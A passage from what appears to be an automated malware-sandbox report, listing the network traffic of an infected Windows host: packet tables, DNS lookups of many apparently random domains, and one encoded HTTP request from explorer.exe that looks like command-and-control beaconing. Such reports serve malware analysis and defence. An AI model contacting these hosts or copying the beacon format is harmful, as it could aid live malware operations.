Jun 3, 2022 08:17:37.550848007 CEST	80	49790	66.96.162.130	192.168.2.4
Jun 3, 2022 08:17:37.550870895 CEST	80	49790	66.96.162.130	192.168.2.4
Jun 3, 2022 08:17:37.550973892 CEST	49790	80	192.168.2.4	66.96.162.130
Jun 3, 2022 08:17:37.551006079 CEST	49790	80	192.168.2.4	66.96.162.130
Jun 3, 2022 08:17:37.647284985 CEST	80	49791	66.96.162.130	192.168.2.4
Jun 3, 2022 08:17:48.598498106 CEST	49823	80	192.168.2.4	198.44.241.20
Jun 3, 2022 08:17:48.809325933 CEST	80	49823	198.44.241.20	192.168.2.4
Jun 3, 2022 08:17:48.809709072 CEST	49823	80	192.168.2.4	198.44.241.20
Jun 3, 2022 08:17:48.809731960 CEST	49823	80	192.168.2.4	198.44.241.20
Jun 3, 2022 08:17:48.810147047 CEST	49823	80	192.168.2.4	198.44.241.20
Jun 3, 2022 08:17:48.810195923 CEST	49824	80	192.168.2.4	198.44.241.20
Jun 3, 2022 08:17:49.014390945 CEST	80	49824	198.44.241.20	192.168.2.4
Jun 3, 2022 08:17:49.016530037 CEST	49824	80	192.168.2.4	198.44.241.20
Jun 3, 2022 08:17:49.017874002 CEST	49824	80	192.168.2.4	198.44.241.20
Jun 3, 2022 08:17:49.018563986 CEST	80	49823	198.44.241.20	192.168.2.4
Jun 3, 2022 08:17:49.018598080 CEST	80	49823	198.44.241.20	192.168.2.4
Jun 3, 2022 08:17:49.019500971 CEST	49823	80	192.168.2.4	198.44.241.20
Jun 3, 2022 08:17:49.024636984 CEST	49825	80	192.168.2.4	198.44.241.20
Jun 3, 2022 08:17:49.218827009 CEST	80	49824	198.44.241.20	192.168.2.4
Jun 3, 2022 08:17:49.218854904 CEST	80	49824	198.44.241.20	192.168.2.4
Jun 3, 2022 08:17:49.218921900 CEST	80	49824	198.44.241.20	192.168.2.4
Jun 3, 2022 08:17:49.218961954 CEST	49824	80	192.168.2.4	198.44.241.20
Jun 3, 2022 08:17:49.219019890 CEST	49824	80	192.168.2.4	198.44.241.20
Jun 3, 2022 08:17:49.229768038 CEST	80	49825	198.44.241.20	192.168.2.4
Jun 3, 2022 08:17:49.230441093 CEST	49825	80	192.168.2.4	198.44.241.20
Jun 3, 2022 08:17:49.230521917 CEST	49825	80	192.168.2.4	198.44.241.20
Jun 3, 2022 08:17:49.419919968 CEST	80	49824	198.44.241.20	192.168.2.4
Jun 3, 2022 08:17:49.419945955 CEST	80	49824	198.44.241.20	192.168.2.4
Jun 3, 2022 08:17:49.419962883 CEST	80	49824	198.44.241.20	192.168.2.4
Jun 3, 2022 08:17:49.420046091 CEST	49824	80	192.168.2.4	198.44.241.20
Jun 3, 2022 08:17:49.420099020 CEST	80	49824	198.44.241.20	192.168.2.4
Jun 3, 2022 08:17:49.420269012 CEST	80	49824	198.44.241.20	192.168.2.4
Jun 3, 2022 08:17:49.420337915 CEST	80	49824	198.44.241.20	192.168.2.4
Jun 3, 2022 08:17:49.438215017 CEST	80	49825	198.44.241.20	192.168.2.4
Jun 3, 2022 08:17:49.438241005 CEST	80	49825	198.44.241.20	192.168.2.4
Jun 3, 2022 08:17:49.438254118 CEST	80	49825	198.44.241.20	192.168.2.4
Jun 3, 2022 08:17:49.438541889 CEST	49825	80	192.168.2.4	198.44.241.20
Jun 3, 2022 08:17:49.438605070 CEST	49825	80	192.168.2.4	198.44.241.20
Jun 3, 2022 08:17:49.622168064 CEST	80	49824	198.44.241.20	192.168.2.4
Jun 3, 2022 08:17:49.622190952 CEST	80	49824	198.44.241.20	192.168.2.4
Jun 3, 2022 08:17:49.645550966 CEST	80	49825	198.44.241.20	192.168.2.4
Jun 3, 2022 08:17:54.877490997 CEST	49835	80	192.168.2.4	107.187.232.173
Jun 3, 2022 08:17:55.043728113 CEST	80	49835	107.187.232.173	192.168.2.4
Jun 3, 2022 08:17:55.044131994 CEST	49835	80	192.168.2.4	107.187.232.173
Jun 3, 2022 08:17:55.044303894 CEST	49835	80	192.168.2.4	107.187.232.173
Jun 3, 2022 08:17:55.044327974 CEST	49835	80	192.168.2.4	107.187.232.173
Jun 3, 2022 08:17:55.044770956 CEST	49836	80	192.168.2.4	107.187.232.173
Jun 3, 2022 08:17:55.210653067 CEST	80	49835	107.187.232.173	192.168.2.4
Jun 3, 2022 08:17:55.211394072 CEST	80	49835	107.187.232.173	192.168.2.4
Jun 3, 2022 08:17:55.211483955 CEST	49835	80	192.168.2.4	107.187.232.173
Jun 3, 2022 08:17:55.223176956 CEST	80	49836	107.187.232.173	192.168.2.4
Jun 3, 2022 08:17:55.223376036 CEST	49836	80	192.168.2.4	107.187.232.173
Jun 3, 2022 08:17:55.225189924 CEST	49836	80	192.168.2.4	107.187.232.173
Jun 3, 2022 08:17:55.225615025 CEST	49837	80	192.168.2.4	107.187.232.173
Jun 3, 2022 08:17:55.392237902 CEST	80	49837	107.187.232.173	192.168.2.4
Jun 3, 2022 08:17:55.392379999 CEST	49837	80	192.168.2.4	107.187.232.173
Jun 3, 2022 08:17:55.392704964 CEST	49837	80	192.168.2.4	107.187.232.173
Jun 3, 2022 08:17:55.403311014 CEST	80	49836	107.187.232.173	192.168.2.4
Jun 3, 2022 08:17:55.403341055 CEST	80	49836	107.187.232.173	192.168.2.4
Jun 3, 2022 08:17:55.403357983 CEST	80	49836	107.187.232.173	192.168.2.4
Jun 3, 2022 08:17:55.403441906 CEST	49836	80	192.168.2.4	107.187.232.173
Jun 3, 2022 08:17:55.403500080 CEST	49836	80	192.168.2.4	107.187.232.173
Jun 3, 2022 08:17:55.561633110 CEST	80	49837	107.187.232.173	192.168.2.4
Jun 3, 2022 08:17:55.561655998 CEST	80	49837	107.187.232.173	192.168.2.4
Jun 3, 2022 08:17:55.561887026 CEST	49837	80	192.168.2.4	107.187.232.173
Jun 3, 2022 08:17:55.561914921 CEST	49837	80	192.168.2.4	107.187.232.173
Jun 3, 2022 08:17:55.581384897 CEST	80	49836	107.187.232.173	192.168.2.4
Jun 3, 2022 08:17:55.581613064 CEST	49836	80	192.168.2.4	107.187.232.173
Jun 3, 2022 08:17:55.581712008 CEST	80	49836	107.187.232.173	192.168.2.4
Jun 3, 2022 08:17:55.581774950 CEST	49836	80	192.168.2.4	107.187.232.173
Jun 3, 2022 08:17:55.581792116 CEST	80	49836	107.187.232.173	192.168.2.4
Jun 3, 2022 08:17:55.581904888 CEST	80	49836	107.187.232.173	192.168.2.4
Jun 3, 2022 08:17:55.728307009 CEST	80	49837	107.187.232.173	192.168.2.4
Jun 3, 2022 08:17:55.760027885 CEST	80	49836	107.187.232.173	192.168.2.4
Jun 3, 2022 08:17:55.760061026 CEST	80	49836	107.187.232.173	192.168.2.4
Jun 3, 2022 08:17:55.760283947 CEST	80	49836	107.187.232.173	192.168.2.4
Jun 3, 2022 08:18:00.775405884 CEST	49838	80	192.168.2.4	172.16.0.13
Jun 3, 2022 08:18:03.813107014 CEST	49838	80	192.168.2.4	172.16.0.13
Jun 3, 2022 08:18:09.813579082 CEST	49838	80	192.168.2.4	172.16.0.13
Jun 3, 2022 08:18:23.456084013 CEST	49883	80	192.168.2.4	172.16.0.13
Jun 3, 2022 08:18:24.883169889 CEST	49884	80	192.168.2.4	172.16.0.13
Jun 3, 2022 08:18:26.455562115 CEST	49883	80	192.168.2.4	172.16.0.13
Jun 3, 2022 08:18:27.877589941 CEST	49884	80	192.168.2.4	172.16.0.13
Jun 3, 2022 08:18:32.456053019 CEST	49883	80	192.168.2.4	172.16.0.13
Jun 3, 2022 08:18:33.878137112 CEST	49884	80	192.168.2.4	172.16.0.13
Jun 3, 2022 08:18:46.478252888 CEST	49885	80	192.168.2.4	172.16.0.13
Jun 3, 2022 08:18:48.978605986 CEST	49886	80	192.168.2.4	172.16.0.13
Jun 3, 2022 08:18:49.488709927 CEST	49885	80	192.168.2.4	172.16.0.13
Jun 3, 2022 08:18:49.617053986 CEST	80	49824	198.44.241.20	192.168.2.4
Jun 3, 2022 08:18:49.617072105 CEST	80	49824	198.44.241.20	192.168.2.4
Jun 3, 2022 08:18:49.617213964 CEST	49824	80	192.168.2.4	198.44.241.20
Jun 3, 2022 08:18:49.618309975 CEST	49824	80	192.168.2.4	198.44.241.20
Jun 3, 2022 08:18:51.990520954 CEST	49886	80	192.168.2.4	172.16.0.13
Jun 3, 2022 08:18:55.551909924 CEST	49885	80	192.168.2.4	172.16.0.13
Jun 3, 2022 08:18:57.989511013 CEST	49886	80	192.168.2.4	172.16.0.13
Jun 3, 2022 08:19:10.028788090 CEST	49887	80	192.168.2.4	172.16.0.13
Jun 3, 2022 08:19:13.037627935 CEST	49887	80	192.168.2.4	172.16.0.13
Jun 3, 2022 08:19:18.145947933 CEST	49888	80	192.168.2.4	23.227.38.74
Jun 3, 2022 08:19:18.162981033 CEST	80	49888	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.163197041 CEST	49888	80	192.168.2.4	23.227.38.74
Jun 3, 2022 08:19:18.163798094 CEST	49888	80	192.168.2.4	23.227.38.74
Jun 3, 2022 08:19:18.163846016 CEST	49888	80	192.168.2.4	23.227.38.74
Jun 3, 2022 08:19:18.164807081 CEST	49889	80	192.168.2.4	23.227.38.74
Jun 3, 2022 08:19:18.180922031 CEST	80	49888	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.181655884 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.181678057 CEST	80	49888	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.181813955 CEST	49889	80	192.168.2.4	23.227.38.74
Jun 3, 2022 08:19:18.181883097 CEST	49888	80	192.168.2.4	23.227.38.74
Jun 3, 2022 08:19:18.184734106 CEST	49889	80	192.168.2.4	23.227.38.74
Jun 3, 2022 08:19:18.186062098 CEST	49890	80	192.168.2.4	23.227.38.74
Jun 3, 2022 08:19:18.201057911 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.201112986 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.201122046 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.201143026 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.201150894 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.201159954 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.201196909 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.201212883 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.201225996 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.201267958 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.201390028 CEST	49889	80	192.168.2.4	23.227.38.74
Jun 3, 2022 08:19:18.201456070 CEST	49889	80	192.168.2.4	23.227.38.74
Jun 3, 2022 08:19:18.202415943 CEST	80	49890	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.202543020 CEST	49890	80	192.168.2.4	23.227.38.74
Jun 3, 2022 08:19:18.202693939 CEST	49890	80	192.168.2.4	23.227.38.74
Jun 3, 2022 08:19:18.217741966 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.217771053 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.217791080 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.217813969 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.217837095 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.217855930 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.217874050 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.217921972 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.217945099 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.218009949 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.218030930 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.218051910 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.218074083 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.218094110 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.218115091 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.218170881 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.218194008 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.219019890 CEST	80	49890	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.260520935 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.260586023 CEST	80	49890	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.260644913 CEST	80	49890	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.260694981 CEST	80	49890	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.260750055 CEST	80	49890	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.260754108 CEST	49890	80	192.168.2.4	23.227.38.74
Jun 3, 2022 08:19:18.260791063 CEST	80	49890	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.260831118 CEST	80	49890	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.260857105 CEST	49890	80	192.168.2.4	23.227.38.74
Jun 3, 2022 08:19:18.260868073 CEST	80	49890	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.260979891 CEST	49890	80	192.168.2.4	23.227.38.74
Jun 3, 2022 08:19:18.261002064 CEST	49890	80	192.168.2.4	23.227.38.74
Jun 3, 2022 08:19:18.261029005 CEST	49890	80	192.168.2.4	23.227.38.74
Jun 3, 2022 08:19:18.581618071 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.581721067 CEST	49889	80	192.168.2.4	23.227.38.74
Jun 3, 2022 08:19:18.581734896 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.581794024 CEST	49889	80	192.168.2.4	23.227.38.74
Jun 3, 2022 08:19:18.581804037 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.581851959 CEST	49889	80	192.168.2.4	23.227.38.74
Jun 3, 2022 08:19:18.581891060 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.581937075 CEST	49889	80	192.168.2.4	23.227.38.74
Jun 3, 2022 08:19:18.581964016 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.582015038 CEST	49889	80	192.168.2.4	23.227.38.74
Jun 3, 2022 08:19:18.582031965 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.582086086 CEST	49889	80	192.168.2.4	23.227.38.74
Jun 3, 2022 08:19:18.582093000 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.582142115 CEST	49889	80	192.168.2.4	23.227.38.74
Jun 3, 2022 08:19:18.582148075 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.582185030 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.582195044 CEST	49889	80	192.168.2.4	23.227.38.74
Jun 3, 2022 08:19:18.582216978 CEST	80	49889	23.227.38.74	192.168.2.4
Jun 3, 2022 08:19:18.582232952 CEST	49889	80	192.168.2.4	23.227.38.74
Jun 3, 2022 08:19:18.582269907 CEST	49889	80	192.168.2.4	23.227.38.74
Jun 3, 2022 08:19:19.038108110 CEST	49887	80	192.168.2.4	172.16.0.13
Jun 3, 2022 08:19:23.446496010 CEST	49891	80	192.168.2.4	154.36.145.110
Jun 3, 2022 08:19:23.618494987 CEST	80	49891	154.36.145.110	192.168.2.4
Jun 3, 2022 08:19:23.618602037 CEST	49891	80	192.168.2.4	154.36.145.110
Jun 3, 2022 08:19:23.618773937 CEST	49891	80	192.168.2.4	154.36.145.110
Jun 3, 2022 08:19:23.618830919 CEST	49891	80	192.168.2.4	154.36.145.110
Jun 3, 2022 08:19:23.619534969 CEST	49892	80	192.168.2.4	154.36.145.110
Jun 3, 2022 08:19:23.789845943 CEST	80	49891	154.36.145.110	192.168.2.4
Jun 3, 2022 08:19:23.792843103 CEST	80	49892	154.36.145.110	192.168.2.4
Jun 3, 2022 08:19:23.792926073 CEST	49892	80	192.168.2.4	154.36.145.110
Jun 3, 2022 08:19:23.793278933 CEST	80	49891	154.36.145.110	192.168.2.4
Jun 3, 2022 08:19:23.793343067 CEST	49891	80	192.168.2.4	154.36.145.110
Jun 3, 2022 08:19:23.795093060 CEST	49892	80	192.168.2.4	154.36.145.110
Jun 3, 2022 08:19:23.795716047 CEST	49893	80	192.168.2.4	154.36.145.110
Jun 3, 2022 08:19:23.968034983 CEST	80	49893	154.36.145.110	192.168.2.4
Jun 3, 2022 08:19:23.968137980 CEST	49893	80	192.168.2.4	154.36.145.110
Jun 3, 2022 08:19:23.968199015 CEST	49893	80	192.168.2.4	154.36.145.110
Jun 3, 2022 08:19:23.968451977 CEST	80	49892	154.36.145.110	192.168.2.4
Jun 3, 2022 08:19:23.968545914 CEST	49892	80	192.168.2.4	154.36.145.110
Jun 3, 2022 08:19:24.141791105 CEST	80	49892	154.36.145.110	192.168.2.4
Jun 3, 2022 08:19:24.141803026 CEST	80	49892	154.36.145.110	192.168.2.4
Jun 3, 2022 08:19:24.141880989 CEST	80	49892	154.36.145.110	192.168.2.4
Jun 3, 2022 08:19:24.141885042 CEST	49892	80	192.168.2.4	154.36.145.110
Jun 3, 2022 08:19:24.141963005 CEST	80	49892	154.36.145.110	192.168.2.4
Jun 3, 2022 08:19:24.144052982 CEST	80	49893	154.36.145.110	192.168.2.4
Jun 3, 2022 08:19:24.144079924 CEST	80	49893	154.36.145.110	192.168.2.4
Jun 3, 2022 08:19:24.144093037 CEST	80	49893	154.36.145.110	192.168.2.4
Jun 3, 2022 08:19:24.144222975 CEST	49893	80	192.168.2.4	154.36.145.110
Jun 3, 2022 08:19:24.144256115 CEST	49893	80	192.168.2.4	154.36.145.110
Jun 3, 2022 08:19:24.144325972 CEST	49893	80	192.168.2.4	154.36.145.110
Jun 3, 2022 08:19:24.315207958 CEST	80	49892	154.36.145.110	192.168.2.4
Jun 3, 2022 08:19:24.315231085 CEST	80	49892	154.36.145.110	192.168.2.4
Jun 3, 2022 08:19:24.316760063 CEST	80	49893	154.36.145.110	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 3, 2022 08:16:58.579248905 CEST	60381	53	192.168.2.4	8.8.8.8
Jun 3, 2022 08:16:58.598203897 CEST	53	60381	8.8.8.8	192.168.2.4
Jun 3, 2022 08:17:09.437704086 CEST	56509	53	192.168.2.4	8.8.8.8
Jun 3, 2022 08:17:09.454791069 CEST	53	56509	8.8.8.8	192.168.2.4
Jun 3, 2022 08:17:26.748796940 CEST	54069	53	192.168.2.4	8.8.8.8
Jun 3, 2022 08:17:26.875420094 CEST	53	54069	8.8.8.8	192.168.2.4
Jun 3, 2022 08:17:37.002288103 CEST	57594	53	192.168.2.4	8.8.8.8
Jun 3, 2022 08:17:37.137671947 CEST	53	57594	8.8.8.8	192.168.2.4
Jun 3, 2022 08:17:43.289014101 CEST	58816	53	192.168.2.4	8.8.8.8
Jun 3, 2022 08:17:43.313081026 CEST	53	58816	8.8.8.8	192.168.2.4
Jun 3, 2022 08:17:43.331497908 CEST	56437	53	192.168.2.4	8.8.8.8
Jun 3, 2022 08:17:43.359708071 CEST	53	56437	8.8.8.8	192.168.2.4
Jun 3, 2022 08:17:43.363398075 CEST	64825	53	192.168.2.4	8.8.8.8
Jun 3, 2022 08:17:43.389221907 CEST	53	64825	8.8.8.8	192.168.2.4
Jun 3, 2022 08:17:48.416826010 CEST	50778	53	192.168.2.4	8.8.8.8
Jun 3, 2022 08:17:48.596756935 CEST	53	50778	8.8.8.8	192.168.2.4
Jun 3, 2022 08:17:54.449160099 CEST	58715	53	192.168.2.4	8.8.8.8
Jun 3, 2022 08:17:54.875513077 CEST	53	58715	8.8.8.8	192.168.2.4
Jun 3, 2022 08:18:00.615473032 CEST	57816	53	192.168.2.4	8.8.8.8
Jun 3, 2022 08:18:00.645076990 CEST	53	57816	8.8.8.8	192.168.2.4
Jun 3, 2022 08:18:23.375132084 CEST	51787	53	192.168.2.4	8.8.8.8
Jun 3, 2022 08:18:23.429713011 CEST	53	51787	8.8.8.8	192.168.2.4
Jun 3, 2022 08:18:24.863167048 CEST	53916	53	192.168.2.4	8.8.8.8
Jun 3, 2022 08:18:24.882128954 CEST	53	53916	8.8.8.8	192.168.2.4
Jun 3, 2022 08:18:48.921485901 CEST	60790	53	192.168.2.4	8.8.8.8
Jun 3, 2022 08:18:48.977374077 CEST	53	60790	8.8.8.8	192.168.2.4
Jun 3, 2022 08:19:18.122982979 CEST	62708	53	192.168.2.4	8.8.8.8
Jun 3, 2022 08:19:18.144835949 CEST	53	62708	8.8.8.8	192.168.2.4
Jun 3, 2022 08:19:23.276204109 CEST	60946	53	192.168.2.4	8.8.8.8
Jun 3, 2022 08:19:23.441440105 CEST	53	60946	8.8.8.8	192.168.2.4
Jun 3, 2022 08:19:29.150656939 CEST	53483	53	192.168.2.4	8.8.8.8
Jun 3, 2022 08:19:29.171605110 CEST	53	53483	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jun 3, 2022 08:16:58.579248905 CEST	192.168.2.4	8.8.8.8	0x7ee5	Standard query (0)	www.sinsegae.net	A (IP address)	IN (0x0001)
Jun 3, 2022 08:17:09.437704086 CEST	192.168.2.4	8.8.8.8	0x5d18	Standard query (0)	www.shopcycles3.com	A (IP address)	IN (0x0001)
Jun 3, 2022 08:17:26.748796940 CEST	192.168.2.4	8.8.8.8	0xe024	Standard query (0)	www.drivetrianrepair.com	A (IP address)	IN (0x0001)
Jun 3, 2022 08:17:37.002288103 CEST	192.168.2.4	8.8.8.8	0xce3e	Standard query (0)	www.408wmountain.info	A (IP address)	IN (0x0001)
Jun 3, 2022 08:17:43.289014101 CEST	192.168.2.4	8.8.8.8	0xc93e	Standard query (0)	www.pheife.com	A (IP address)	IN (0x0001)
Jun 3, 2022 08:17:43.331497908 CEST	192.168.2.4	8.8.8.8	0x8667	Standard query (0)	www.pheife.com	A (IP address)	IN (0x0001)
Jun 3, 2022 08:17:43.363398075 CEST	192.168.2.4	8.8.8.8	0x6a49	Standard query (0)	www.pheife.com	A (IP address)	IN (0x0001)
Jun 3, 2022 08:17:48.416826010 CEST	192.168.2.4	8.8.8.8	0x31f5	Standard query (0)	www.huiyi-sui.com	A (IP address)	IN (0x0001)
Jun 3, 2022 08:17:54.449160099 CEST	192.168.2.4	8.8.8.8	0xef6a	Standard query (0)	www.sarrafguler.com	A (IP address)	IN (0x0001)
Jun 3, 2022 08:18:00.615473032 CEST	192.168.2.4	8.8.8.8	0x697	Standard query (0)	www.sassafrasriver.info	A (IP address)	IN (0x0001)
Jun 3, 2022 08:18:23.375132084 CEST	192.168.2.4	8.8.8.8	0x5b17	Standard query (0)	www.sassafrasriver.info	A (IP address)	IN (0x0001)
Jun 3, 2022 08:18:24.863167048 CEST	192.168.2.4	8.8.8.8	0x833f	Standard query (0)	www.sassafrasriver.info	A (IP address)	IN (0x0001)
Jun 3, 2022 08:18:48.921485901 CEST	192.168.2.4	8.8.8.8	0x2f49	Standard query (0)	www.sassafrasriver.info	A (IP address)	IN (0x0001)
Jun 3, 2022 08:19:18.122982979 CEST	192.168.2.4	8.8.8.8	0xf0aa	Standard query (0)	www.theflysnare.com	A (IP address)	IN (0x0001)
Jun 3, 2022 08:19:23.276204109 CEST	192.168.2.4	8.8.8.8	0x475	Standard query (0)	www.huayugw.com	A (IP address)	IN (0x0001)
Jun 3, 2022 08:19:29.150656939 CEST	192.168.2.4	8.8.8.8	0x42a7	Standard query (0)	www.airvataus.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jun 3, 2022 08:16:58.598203897 CEST	8.8.8.8	192.168.2.4	0x7ee5	No error (0)	www.sinsegae.net		185.254.241.173	A (IP address)	IN (0x0001)
Jun 3, 2022 08:17:09.454791069 CEST	8.8.8.8	192.168.2.4	0x5d18	No error (0)	www.shopcycles3.com		162.213.255.237	A (IP address)	IN (0x0001)
Jun 3, 2022 08:17:26.875420094 CEST	8.8.8.8	192.168.2.4	0xe024	No error (0)	www.drivetrianrepair.com	s.multiscreensite.com		CNAME (Canonical name)	IN (0x0001)
Jun 3, 2022 08:17:26.875420094 CEST	8.8.8.8	192.168.2.4	0xe024	No error (0)	s.multiscreensite.com	global.multiscreensite.com		CNAME (Canonical name)	IN (0x0001)
Jun 3, 2022 08:17:26.875420094 CEST	8.8.8.8	192.168.2.4	0xe024	No error (0)	global.multiscreensite.com	d1-hitch-eu-nlb-e064e2845fd0c838.elb.eu-central-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)
Jun 3, 2022 08:17:26.875420094 CEST	8.8.8.8	192.168.2.4	0xe024	No error (0)	d1-hitch-eu-nlb-e064e2845fd0c838.elb.eu-central-1.amazonaws.com		18.193.36.153	A (IP address)	IN (0x0001)
Jun 3, 2022 08:17:26.875420094 CEST	8.8.8.8	192.168.2.4	0xe024	No error (0)	d1-hitch-eu-nlb-e064e2845fd0c838.elb.eu-central-1.amazonaws.com		3.127.73.216	A (IP address)	IN (0x0001)
Jun 3, 2022 08:17:26.875420094 CEST	8.8.8.8	192.168.2.4	0xe024	No error (0)	d1-hitch-eu-nlb-e064e2845fd0c838.elb.eu-central-1.amazonaws.com		3.67.141.185	A (IP address)	IN (0x0001)
Jun 3, 2022 08:17:37.137671947 CEST	8.8.8.8	192.168.2.4	0xce3e	No error (0)	www.408wmountain.info		66.96.162.130	A (IP address)	IN (0x0001)
Jun 3, 2022 08:17:43.313081026 CEST	8.8.8.8	192.168.2.4	0xc93e	Name error (3)	www.pheife.com	none	none	A (IP address)	IN (0x0001)
Jun 3, 2022 08:17:43.359708071 CEST	8.8.8.8	192.168.2.4	0x8667	Name error (3)	www.pheife.com	none	none	A (IP address)	IN (0x0001)
Jun 3, 2022 08:17:43.389221907 CEST	8.8.8.8	192.168.2.4	0x6a49	Name error (3)	www.pheife.com	none	none	A (IP address)	IN (0x0001)
Jun 3, 2022 08:17:48.596756935 CEST	8.8.8.8	192.168.2.4	0x31f5	No error (0)	www.huiyi-sui.com		198.44.241.20	A (IP address)	IN (0x0001)
Jun 3, 2022 08:17:54.875513077 CEST	8.8.8.8	192.168.2.4	0xef6a	No error (0)	www.sarrafguler.com		107.187.232.173	A (IP address)	IN (0x0001)
Jun 3, 2022 08:18:00.645076990 CEST	8.8.8.8	192.168.2.4	0x697	No error (0)	www.sassafrasriver.info		172.16.0.13	A (IP address)	IN (0x0001)
Jun 3, 2022 08:18:23.429713011 CEST	8.8.8.8	192.168.2.4	0x5b17	No error (0)	www.sassafrasriver.info		172.16.0.13	A (IP address)	IN (0x0001)
Jun 3, 2022 08:18:24.882128954 CEST	8.8.8.8	192.168.2.4	0x833f	No error (0)	www.sassafrasriver.info		172.16.0.13	A (IP address)	IN (0x0001)
Jun 3, 2022 08:18:48.977374077 CEST	8.8.8.8	192.168.2.4	0x2f49	No error (0)	www.sassafrasriver.info		172.16.0.13	A (IP address)	IN (0x0001)
Jun 3, 2022 08:19:18.144835949 CEST	8.8.8.8	192.168.2.4	0xf0aa	No error (0)	www.theflysnare.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)
Jun 3, 2022 08:19:18.144835949 CEST	8.8.8.8	192.168.2.4	0xf0aa	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)
Jun 3, 2022 08:19:23.441440105 CEST	8.8.8.8	192.168.2.4	0x475	No error (0)	www.huayugw.com		154.36.145.110	A (IP address)	IN (0x0001)
Jun 3, 2022 08:19:29.171605110 CEST	8.8.8.8	192.168.2.4	0x42a7	No error (0)	www.airvataus.com	airvataus.com		CNAME (Canonical name)	IN (0x0001)
Jun 3, 2022 08:19:29.171605110 CEST	8.8.8.8	192.168.2.4	0x42a7	No error (0)	airvataus.com		34.102.136.180	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.sinsegae.net

www.shopcycles3.com

www.drivetrianrepair.com

www.408wmountain.info

www.huiyi-sui.com

www.sarrafguler.com

www.theflysnare.com

www.huayugw.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49780	185.254.241.173	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 3, 2022 08:16:58.893158913 CEST	7704	OUT	GET /umat/?bT7tPLpx=D4TTb2HFoQH2akGSEaIGW9Q5orhATJxj88Hz932hPvAyMJtUsfmLZeVWMqqycYkj367i&Lls=Mzrp HTTP/1.1 Host: www.sinsegae.net Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
